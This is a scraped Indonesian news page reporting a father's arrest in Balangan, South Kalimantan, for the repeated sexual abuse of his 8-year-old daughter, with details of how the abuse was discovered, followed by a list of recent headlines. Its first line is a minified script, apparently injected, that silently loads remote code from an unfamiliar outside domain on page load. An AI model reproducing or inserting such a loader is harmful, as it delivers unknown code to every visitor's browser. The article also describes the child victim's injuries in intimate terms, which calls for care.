(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BALANGAN

Ayah Kandung di Balangan Tega Cabuli Anaknya yang Masih Bocah!


KANALKALIMANTAN.COM, BALANGAN– Sungguh tega! Seorang ayah kandung di Kecamatan Halong, Kabupaten Balangan, tega mencabuli anaknya sendiri yang masih bocah. Gara-gara perbuatannya, pria berinisial S (35) ini pun dibekuk petugas dari Polsek Haling dibantuk Polres Balangan.

Kapolsek Halong Iptu Krismianto mengatakan, tersangka S ditangjap di rumah kontrakannya bersama dengan barang kain sprei warna merah motif batik, selimut warna merah motif bunga, dan celana kain warna hitam merk Adidas.

“Pelaku merupakan orangtua kandung dari korban. Atas perbuatannya yang bersangkutan terancam pasal pencabulan anak di bawah umur dengan Pasal 81 dan atau pasal 82 UU RI Nomor 35 Tahun 2014 tentang perubahan atas UU RI Nomor 23 Tahun 2002 Tentang Perlindungan Anak, dengan ancaman pidana selama 15 tahun penjara,” tegasnya.

Saat ini, S sudah diamankan di Mapolres Balangan untuk penyelidikan lebih lanjut. Kasus ini pun ditangani secara khusus oleh PPA Sat Reskrim Balangan, karena korban merupakan anak dibawah umur yang masih berusia 8 tahun.

Peristiwa ini terungkap bermula dari kedatangan saksi MH (22) ke rumah pelaku untuk mencuci pakaian korban pada tanggal 9 Maret 2020 lalu. Di rumah tersebut, saksi menemukan celana dalam milik korban di atas kasur yang ada berkas berupa cairan.

Keesokan harinya, saksi kembali datang ke rumah pelaku. Ketika itu, ia mendapati korban dalam keadaan sakit. Saat ia kemudian memandikan korban dan menyentuh organ vitalnya, korban kesakitan dan mendapati kemaluannya bengkak.

Merasa janggal, saksi pun akhirnya menanyakan kepada korban. Bocah lugu itu pun akhirnya menceritakan bahwa ia telah disetubuhi berulang kali oleh ayahnya. Setelah mendengar pengakuan korban, saksi pun akhirnya melaporkan kasus ini ke polisi. Hingga akhirnya S ditangkap untuk mempertanggungjawabkan perbuatan bejatnya. (Kanalkalimantan.com/cel)

Reporter : Cel
Editor : Chell


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

8 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

10 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

10 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

12 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

13 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

13 jam ago

This website uses cookies.